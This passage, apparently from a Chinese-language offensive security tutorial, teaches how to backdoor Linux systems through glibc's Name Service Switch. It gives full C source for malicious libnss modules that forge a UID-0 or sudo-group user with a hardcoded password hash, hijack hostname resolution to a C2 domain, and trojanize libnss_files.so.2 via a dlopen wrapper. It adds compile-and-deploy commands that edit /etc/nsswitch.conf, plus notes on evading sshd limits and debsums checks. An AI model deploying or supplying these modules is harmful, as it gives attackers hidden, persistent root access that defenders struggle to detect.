        || (local->root_ino != 0
            && (str.st_ino != local->root_ino
                ||  str.st_dev != local->root_dev)))
      {
// 检测到容器环境，禁用重新加载
        atomic_store_release (&local->data.reload_disabled, 1);
        *result = local->data.services[database_index];
        __libc_lock_unlock (local->lock);
returntrue;
      }
  }

这正是 CVE-2025-32463 的利用条件之一——sudo 在 chroot 后，根目录发生变化，本应触发这个"禁用重新加载"的保护机制。但由于 sudo 在 chroot 之前就已经加载了配置（或者说，这是首次加载），所以这个保护没有生效。

已加载的 .so 模块不会被卸载

需要注意的是，即使 nsswitch.conf 被重新加载，已经通过 dlopen() 加载的 libnss_*.so.2 模块不会被卸载。模块列表（nss_module_list）是全局的，只增不减（nss_module.c 第 50 行）。

这意味着：

• 如果你在 nsswitch.conf 中添加了一个新数据源，对应的 .so 会在下次查询时被加载

• 如果你从 nsswitch.conf 中移除了一个数据源，对应的 .so 仍然留在内存中，但其中的内容已经不起作用了

• 如果数据源的 .so 文件被替换，已加载的模块不会自动重新加载

但需要区分两个层面的"效果"：

• 内存驻留（.so 代码仍在进程地址空间中）：一旦加载，永不卸载。即使后续从 nsswitch.conf 中移除了该数据源，.so 仍然留在内存里，其中的代码和数据仍然存在。

• 查询激活（NSS 查询是否会走到该模块）：完全由 nsswitch.conf 当前配置决定。如果攻击者部署了恶意 libnss_evil.so.2，在 nsswitch.conf 中添加了 evil 数据源使其被加载，然后又将其从 nsswitch.conf 中删除——恶意 .so 虽然仍在内存中，但不会再被查询到，因为 NSS 查询链路完全由配置文件驱动。

换句话说：已加载模块的函数指针虽然还在内存中，但只要 nsswitch.conf 中不引用该数据源，这些函数就不会被调用。 模块驻留不等于后门持续生效——后门的持续生效依赖于 nsswitch.conf 中持续保留对恶意数据源的引用。这也是为什么检测 NSS 后门时，检查 nsswitch.conf 的内容比检查已加载的 .so 更重要。

总结

这个特性对后门植入非常有利：攻击者只需部署恶意 .so 文件并修改 nsswitch.conf，系统上所有正在运行的进程在下一次 NSS 查询时都会自动加载恶意模块。

0x04 添加恶意数据源后门

经过前三章的原理分析，我们已经掌握了 NSS 机制的完整运作方式。从本章开始，我们将进入实战环节。

添加恶意数据源是最直接的 NSS 后门方式。它的核心思路是：在 nsswitch.conf 中追加一个自定义数据源名（如 nop），然后部署对应的 libnss_nop.so.2 恶意模块。由于 NSS 的 NOTFOUND → continue 默认行为，合法用户查询会由 files 正常处理，只有当 files 找不到时才会落到恶意模块。

攻击前提

• 已获取目标系统的 root 权限

• 目标系统使用 glibc（几乎所有 Linux 发行版均满足）

4.1 后门模块：伪造 passwd 用户

这是 0x03 中已经展示过的最小化模块。回顾一下它的核心逻辑：

#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
if (strcmp(name, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
strcpy(buffer, "backdoor");
    result->pw_name = buffer;
strcpy(buffer + strlen("backdoor") + 1, "x");
    result->pw_passwd = buffer + strlen("backdoor") + 1;
    result->pw_uid = 0;
    result->pw_gid = 0;
strcpy(buffer + strlen("backdoor") + 2, "/root");
    result->pw_dir = buffer + strlen("backdoor") + 2;
strcpy(buffer + strlen("backdoor") + 2 + strlen("/root") + 1, "/bin/bash");
    result->pw_shell = buffer + strlen("backdoor") + 2 + strlen("/root") + 1;
    result->pw_gecos = buffer + strlen("backdoor") + 2;
return NSS_STATUS_SUCCESS;
}

这个模块只做一件事：当查询用户名为 backdoor 时，返回一个 UID=0（root 权限）的伪造用户条目。查询其他用户名时返回 NOTFOUND，不影响正常查询。

查询流程如下：

id backdoor
  │
  └─ getpwnam("backdoor")
       │
       └─ NSS 读取 nsswitch.conf: passwd: files nop
            │
            ├─ 1. 查 files → 读取 /etc/passwd → 没有叫 backdoor 的用户
            │     返回 NSS_STATUS_NOTFOUND
            │     默认动作：continue → 继续查下一个数据源
            │
            └─ 2. 查 nop → 调用 _nss_nop_getpwnam_r("backdoor", ...)
                  名字匹配 → 返回 UID=0 的伪造条目
                  返回 NSS_STATUS_SUCCESS
                  默认动作：return → 结束查询
最终结果：id backdoor 输出 uid=0(root) gid=0(root)

而查询正常用户时完全不受影响：

id root
  │
  └─ getpwnam("root")
       │
       └─ NSS: passwd: files nop
            │
            ├─ 1. 查 files → 读取 /etc/passwd → 找到 root
            │     返回 NSS_STATUS_SUCCESS
            │     默认动作：return → 结束查询
            │
            └─ 2. nop 模块不会被调用
最终结果：id root 正常输出，不受任何影响

部署步骤

# 1. 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 2. 部署到系统库目录
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 3. 修改 nsswitch.conf
sed -i 's/^passwd:.*/passwd: files nop/' /etc/nsswitch.conf
# 4. 无需重启任何进程，立即生效（原因见 3.4 节）

验证

id backdoor
su - backdoor

测试发现，实施后，确实可以瞒过 id 命令，但是想直接 su 登录时，还是需要输入密码，但它并没有密码，所以是不是可以考虑直接在拼接数据时，将第二个字段中填充密码，就相当于在 /etc/passwd 的第二个字段中添加密码。

我们进行一下尝试

pw_passwd 字段为 "x" 时，PAM 会去查 shadow 数据库。但如果我们直接在这个字段中填入密码哈希，PAM 也可以直接用它来认证。

先生成一个密码哈希：

openssl passwd -6 -salt saltsalt yourpassword
# $6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0

修改模块代码，将 pw_passwd 从 "x" 改为实际的密码哈希。为避免重启进程（3.4 节提到已加载的 .so 不会自动重新加载），我们新建一个不同名字的模块 libnss_nop2.so.2：

#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER "backdoor2"
#define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
enum nss_status
_nss_nop2_getpwnam_r (constchar *name,
                      struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, BACKDOOR_HASH) + 1;
    result->pw_uid = 0;
    result->pw_gid = 0;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/root") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
return NSS_STATUS_SUCCESS;
}

编译、部署并切换数据源：

# 编译新模块
gcc -shared -fPIC -o libnss_nop2.so.2 nss_nop2.c
# 部署
cp libnss_nop2.so.2 /usr/lib/x86_64-linux-gnu/
# 将 nsswitch.conf 中的 nop 替换为 nop2
sed -i 's/^passwd:.*/passwd: files nop2/' /etc/nsswitch.conf

测试：

id backdoor2
su - backdoor2
密码：yourpassword

通过在 pw_passwd 中直接填入密码哈希，绕过了 shadow 数据库的依赖，仅用一个 passwd 模块就完成了用户伪造和认证。

不过这种方式有一个前提：系统的 PAM 配置必须允许从 pw_passwd 字段读取密码。大多数发行版默认支持，但某些高安全配置可能会强制要求 shadow。对于更通用的方案，仍然建议同时部署 shadow 模块（见 4.2 节）。

这个后门的问题

这个模块虽然能用，但存在明显的缺陷：

1. getpwent_r 未实现：只实现了 getpwnam_r，没有实现 getpwent_r。某些遍历所有用户的命令可能不会触发后门

2. 只覆盖 passwd 数据库：没有覆盖 group、shadow 等，id backdoor 可能无法显示完整的组信息

3. 无法 SSH 登录：SSH 登录需要 PAM 认证，PAM 会查询 shadow 数据库，而我们的模块没有处理 shadow

这些问题将在后续逐步解决。

4.2 后门模块：覆盖更多数据库

要让后门用户能够真正"像正常用户一样"使用，需要覆盖 passwd、group、shadow 三个数据库。

passwd 模块（增强版）

增加 getpwuid_r（按 UID 查找）和 getpwent_r（遍历所有用户）的实现：

#include<nss.h>
#include<pwd.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER "backdoor"
#define BACKDOOR_UID  0
#define BACKDOOR_GID  0staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer, size_t buflen)
{
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->pw_uid = BACKDOOR_UID;
    result->pw_gid = BACKDOOR_GID;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/root") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
    fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid != BACKDOOR_UID)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
    fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
staticint pwent_called = 0;
enum nss_status
_nss_nop_setpwent (int stayopen)
{
    pwent_called = 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
    pwent_called = 0;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwent_r (struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (!pwent_called)
return NSS_STATUS_UNAVAIL;
if (pwent_called == 1)
    {
        pwent_called = 2;
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
    }
return NSS_STATUS_NOTFOUND;
}

group 模块

为后门用户伪造 group 信息：

#include<nss.h>
#include<grp.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_GROUP "root"
#define BACKDOOR_GID   0
enum nss_status
_nss_nop_getgrnam_r (constchar *name,
                     struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_GROUP) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 128)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->gr_name = p;
    p = stpcpy(p, BACKDOOR_GROUP) + 1;
    result->gr_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->gr_gid = BACKDOOR_GID;
    result->gr_mem = (char **)(p + sizeof(char *) * 2);
    result->gr_mem[0] = NULL;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getgrgid_r (gid_t gid,
                     struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (gid != BACKDOOR_GID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getgrnam_r(BACKDOOR_GROUP, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
if (strcmp(user, BACKDOOR_GROUP) != 0 && strcmp(user, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (*start >= *size)
    {
        *size *= 2;
        *groups = realloc(*groups, *size * sizeof(gid_t));
if (*groups == NULL)
return NSS_STATUS_TRYAGAIN;
    }
    (*groups)[*start] = BACKDOOR_GID;
    *start += 1;
return NSS_STATUS_SUCCESS;
}

shadow 模块

让后门用户通过 PAM 认证（SSH 登录等场景需要）：

#include<nss.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#define BACKDOOR_USER  "backdoor"
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
enum nss_status
_nss_nop_getspnam_r (constchar *name,
                     struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->sp_namp = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->sp_pwdp = p;
    p = stpcpy(p, BACKDOOR_HASH) + 1;
    result->sp_lstchg = 20000;
    result->sp_min = 0;
    result->sp_max = 99999;
    result->sp_warn = 7;
    result->sp_inact = -1;
    result->sp_expire = -1;
    result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}

BACKDOOR_HASH 是一个预计算的 SHA-512 密码哈希。生成方式：openssl passwd -6 -salt saltsalt yourpassword

部署和验证

# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
# 部署
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
# 修改 nsswitch.conf，覆盖三个数据库
sed -i 's/^passwd:.*/passwd: files nop/' /etc/nsswitch.conf
sed -i 's/^group:.*/group: files nop/' /etc/nsswitch.conf
sed -i 's/^shadow:.*/shadow: files nop/' /etc/nsswitch.conf

验证：

id backdoor
ssh backdoor@127.0.0.1

测试发现，虽然 su 切换到 backdoor ，并且使用 getent 能够完整获取到信息，但是 ssh 还是失败了。 接下来通过阅读 pam 源代码，发现可能原因是 ssh 默认配置了不允许 root 登录，但 backdoor 的 uid 和 root 的 uid 是一致的，所以被拦截了。

为了验证这个猜想，我们先重启 ssh 服务，确保不是因为未重启 ssh 导致的

果然，重启 ssh 服务并没有解决问题

接下来我们尝试修改 ssh 配置文件，允许 root 登录，之后再重启 ssh 服务，再次尝试登录

果然是这样！

但这不是一个好方案——修改 PermitRootLogin 会留下明显的配置变更痕迹。更好的策略是让后门用户使用非零 UID，绕过 sshd 的 root 限制，同时通过加入 sudo 组获取 root 权限。

Ubuntu 默认的 /etc/sudoers 包含 %sudo ALL=(ALL:ALL) ALL，只要用户属于 sudo 组（GID=27），就能直接 sudo 提权。

完整代码如下：

#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BACKDOOR_USER  "backdoor"
#define BACKDOOR_UID   1002
#define BACKDOOR_GID   1002
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
/* ==================== passwd ==================== */staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer)
{
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->pw_uid = BACKDOOR_UID;
    result->pw_gid = BACKDOOR_GID;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/home/backdoor") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_nop_getpwnam_r (constchar *name,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
    fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
                     struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid != BACKDOOR_UID)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
    fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
staticint pwent_called = 0;
enum nss_status
_nss_nop_setpwent (int stayopen)
{
    pwent_called = 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
    pwent_called = 0;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwent_r (struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (!pwent_called)
return NSS_STATUS_UNAVAIL;
if (pwent_called == 1)
    {
        pwent_called = 2;
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
    }
return NSS_STATUS_NOTFOUND;
}
/* ==================== group ==================== */
enum nss_status
_nss_nop_getgrnam_r (constchar *name,
                     struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->gr_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->gr_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->gr_gid = BACKDOOR_GID;
char **mem = (char **)(buffer + 256 - sizeof(char *) * 4);
    mem[0] = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    mem[1] = NULL;
    result->gr_mem = mem;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getgrgid_r (gid_t gid,
                     struct group *result,
char *buffer, size_t buflen, int *errnop)
{
if (gid != BACKDOOR_GID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getgrnam_r(BACKDOOR_USER, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
if (strcmp(user, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
// GID 27 = sudo 组（Ubuntu 默认）
gid_t supplemental_groups[] = { BACKDOOR_GID, 27 };
int num_groups = 2;
for (int i = 0; i < num_groups; i++)
    {
if (*start >= *size)
        {
            *size *= 2;
            *groups = realloc(*groups, *size * sizeof(gid_t));
if (*groups == NULL)
return NSS_STATUS_TRYAGAIN;
        }
        (*groups)[*start] = supplemental_groups[i];
        *start += 1;
    }
return NSS_STATUS_SUCCESS;
}
/* ==================== shadow ==================== */
enum nss_status
_nss_nop_getspnam_r (constchar *name,
                     struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
    {
        *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
    }
char *p = buffer;
    result->sp_namp = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->sp_pwdp = p;
    p = stpcpy(p, BACKDOOR_HASH) + 1;
    result->sp_lstchg = 20000;
    result->sp_min = 0;
    result->sp_max = 99999;
    result->sp_warn = 7;
    result->sp_inact = -1;
    result->sp_expire = -1;
    result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}

关键变化：

• UID 从 0 改为 1002：绕过 sshd 的 PermitRootLogin 限制

• initgroups_dyn 返回 GID 27（sudo 组）：登录后可直接 sudo 提权到 root

• home 目录改为 /home/backdoor：避免与 root 的 home 目录冲突

编译、部署、测试：

gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
sed -i 's/^passwd:.*/passwd: files systemd nop/' /etc/nsswitch.conf
sed -i 's/^group:.*/group: files systemd nop/' /etc/nsswitch.conf
sed -i 's/^shadow:.*/shadow: files systemd nop/' /etc/nsswitch.conf

验证：

id backdoor
ssh backdoor@127.0.0.1 
# password: yourpassword

成功完成后门账户

整个过程不需要修改任何系统文件（/etc/passwd、/etc/shadow、/etc/sudoers、sshd_config 均未改动），仅通过 NSS 模块就完成了用户创建、认证和提权。

注意：GID 27 是 Ubuntu 上 sudo 组的默认值，可通过 getent group sudo 确认。不同发行版可能不同（如 CentOS/RHEL 为 wheel 组，GID 通常为 10）。

4.3 后门模块：劫持 hosts 解析

除了伪造用户，NSS 后门还可以劫持主机名解析。这对于 DNS 欺骗、钓鱼攻击、C2 通信重定向非常有用。

#include<nss.h>
#include<netdb.h>
#include<string.h>
#include<errno.h>
#include<arpa/inet.h>
#include<stdlib.h>
#define C2_DOMAIN "evil.example.com"
#define C2_IP     "10.0.0.1"
enum nss_status
_nss_nop_gethostbyname_r (constchar *name,
                          struct hostent *result,
char *buffer, size_t buflen,
int *errnop, int *h_errnop)
{
if (strcmp(name, C2_DOMAIN) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
    {
        *errnop = ERANGE;
        *h_errnop = NETDB_INTERNAL;
return NSS_STATUS_TRYAGAIN;
    }
structin_addraddr;
    inet_pton(AF_INET, C2_IP, &addr);
char *p = buffer;
    result->h_name = p;
    p = stpcpy(p, C2_DOMAIN) + 1;
    result->h_aliases = (char **)p;
    result->h_aliases[0] = NULL;
    p += sizeof(char *) * 2;
    result->h_addrtype = AF_INET;
    result->h_length = sizeof(struct in_addr);
    result->h_addr_list = (char **)p;
    p += sizeof(char *) * 2;
memcpy(p, &addr, sizeof(struct in_addr));
    result->h_addr_list[0] = p;
    result->h_addr_list[1] = NULL;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_gethostbyname2_r (constchar *name, int af,
                           struct hostent *result,
char *buffer, size_t buflen,
int *errnop, int *h_errnop)
{
if (af != AF_INET)
return NSS_STATUS_NOTFOUND;
return _nss_nop_gethostbyname_r(name, result, buffer, buflen, errnop, h_errnop);
}

部署：

sed -i 's/^hosts:.*/hosts: files nop dns/' /etc/nsswitch.conf

验证：

ping evil.example.com

4.4 debsums 检测

sudo debsums -a -c

debsums -a -c没有报告任何 nsswitch.conf 的异常。这是因为 debsums 只校验包管理器已知的文件，而：

• /etc/nsswitch.conf 不属于任何软件包（它是系统安装时从 /usr/share/libc-bin/nsswitch.conf 模板复制出来的用户配置文件），debsums 根本不校验它

• libnss_nop.so.2 是手动放置的新文件，不属于任何包，debsums 也不知道它的存在

因此，0x04 方式对 debsums 完全透明。

4.5 方式总结与局限

优势：

局限：

下一章将介绍如何通过替换合法 NSS 模块来解决"需要修改 nsswitch.conf"这个最大的局限。

0x05 替换合法 NSS 模块后门

0x04 中添加恶意数据源的方式虽然有效，但有一个致命的弱点：nsswitch.conf 被修改了。一个有经验的管理员只需执行 cat /etc/nsswitch.conf 就能发现异常的 nop 数据源。

本章介绍一种更隐蔽的方式：直接替换系统已有的 NSS 共享库。nsswitch.conf 保持原样，后门逻辑隐藏在合法模块的外壳之下。

实现方式说明：替换合法模块有两种思路：

1. 直接修改 glibc 源码编译：在 files-pwd.c 的 DB_LOOKUP 匹配逻辑中注入后门判断，自行编译出 libnss_files.so.2。不需要额外文件，隐蔽性最高，但需要在目标系统上编译 glibc，且编译产物必须与目标 glibc 版本严格兼容。

2. dlopen 包装方式：编写新模块，内部通过 dlopen 加载重命名后的原始模块，在转发调用的同时注入后门逻辑。兼容性好、可移植性强，但会多一个 .orig 文件。

考虑到兼容性和可移植性，本文实验采用第 2 种方式。

5.1 第一次尝试：替换 libnss_files.so.2（失败）

直觉上，最直接的目标是替换 libnss_files.so.2——毕竟它是 nsswitch.conf 中 passwd: files systemd 的第一个数据源。

木马化模块的核心思路是包装（wrapper）：对外暴露与原始模块完全相同的函数接口，内部将调用转发给重命名后的原始模块，只在必要时注入后门数据。

以 _nss_files_getpwnam_r 为例，包装逻辑如下：

应用程序调用 getpwnam("alice")
  │
  └─ NSS: passwd: files systemd
       │
       └─ 尝试调用 libnss_files.so.2 中的 _nss_files_getpwnam_r("alice")
            │
            ├─ 木马化模块内部：
            │   1. 检查 "alice" == "backdoor"？→ 否
            │   2. 调用原始模块 _nss_files_getpwnam_r("alice")
            │   3. 返回原始结果（正常用户，完全透明）
            │
            └─ 返回 NSS_STATUS_SUCCESS（alice 的真实信息）
应用程序调用 getpwnam("backdoor")
  │
  └─ NSS: passwd: files systemd
       │
       └─ 尝试调用 libnss_files.so.2 中的 _nss_files_getpwnam_r("backdoor")
            │
            ├─ 木马化模块内部：
            │   1. 检查 "backdoor" == "backdoor"？→ 是
            │   2. 填充伪造的 passwd 结构体（UID=1002, GID=sudo）
            │   3. 返回伪造结果（跳过原始模块调用）
            │
            └─ 返回 NSS_STATUS_SUCCESS（backdoor 的伪造信息）

完整代码如下（覆盖 passwd、group、shadow）：

#define _GNU_SOURCE
#include<nss.h>
#include<pwd.h>
#include<grp.h>
#include<shadow.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<dlfcn.h>
#define BACKDOOR_USER  "backdoor"
#define BACKDOOR_UID   1002
#define BACKDOOR_GID   1002
#define BACKDOOR_HASH  "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
#define SUDO_GID       27
#define ORIG_SO "/usr/lib/x86_64-linux-gnu/libnss_files.so.2.orig"
staticvoid *orig_handle = NULL;staticvoidensure_loaded(void)
{
if (orig_handle) return;
    orig_handle = dlopen(ORIG_SO, RTLD_LAZY);
}staticvoid
fill_backdoor_passwd(struct passwd *result, char *buffer)
{
char *p = buffer;
    result->pw_name = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_passwd = p;
    p = stpcpy(p, "x") + 1;
    result->pw_uid = BACKDOOR_UID;
    result->pw_gid = BACKDOOR_GID;
    result->pw_gecos = p;
    p = stpcpy(p, BACKDOOR_USER) + 1;
    result->pw_dir = p;
    p = stpcpy(p, "/home/backdoor") + 1;
    result->pw_shell = p;
    p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_files_getpwnam_r (constchar *name,
                       struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
    {
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, struct passwd *,
char *, size_t, int *);
    orig = dlsym(orig_handle, "_nss_files_getpwnam_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(name, result, buffer, buflen, errnop);
}
enum nss_status
_nss_files_getpwuid_r (uid_t uid,
                       struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (uid == BACKDOOR_UID)
    {
if (buflen < 256)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
        fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(uid_t, struct passwd *,
char *, size_t, int *);
    orig = dlsym(orig_handle, "_nss_files_getpwuid_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(uid, result, buffer, buflen, errnop);
}
enum nss_status
_nss_files_initgroups_dyn (constchar *user, gid_t group,
longint *start, longint *size,
gid_t **groups, longint limit,
int *errnop)
{
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, gid_t,
longint *, longint *,
gid_t **, longint, int *);
    orig = dlsym(orig_handle, "_nss_files_initgroups_dyn");
enum nss_status status = NSS_STATUS_NOTFOUND;
if (orig)
        status = orig(user, group, start, size, groups, limit, errnop);
if (strcmp(user, BACKDOOR_USER) == 0)
    {
gid_t extra[] = { BACKDOOR_GID, SUDO_GID };
for (int i = 0; i < 2; i++)
        {
if (*start >= *size)
            {
                *size *= 2;
                *groups = realloc(*groups, *size * sizeof(gid_t));
if (!*groups) return NSS_STATUS_TRYAGAIN;
            }
            (*groups)[*start] = extra[i];
            *start += 1;
        }
return NSS_STATUS_SUCCESS;
    }
return status;
}
enum nss_status
_nss_files_getspnam_r (constchar *name,
                       struct spwd *result,
char *buffer, size_t buflen, int *errnop)
{
if (strcmp(name, BACKDOOR_USER) == 0)
    {
if (buflen < 512)
        {
            *errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
        }
char *p = buffer;
        result->sp_namp = p;
        p = stpcpy(p, BACKDOOR_USER) + 1;
        result->sp_pwdp = p;
        p = stpcpy(p, BACKDOOR_HASH) + 1;
        result->sp_lstchg = 20000;
        result->sp_min = 0;
        result->sp_max = 99999;
        result->sp_warn = 7;
        result->sp_inact = -1;
        result->sp_expire = -1;
        result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
    }
    ensure_loaded();
if (!orig_handle) return NSS_STATUS_UNAVAIL;
enumnss_status(*orig)(constchar *, struct spwd *,
char *, size_t, int *);
    orig = dlsym(orig_handle, "_nss_files_getspnam_r");
if (!orig) return NSS_STATUS_UNAVAIL;
return orig(name, result, buffer, buflen, errnop);
}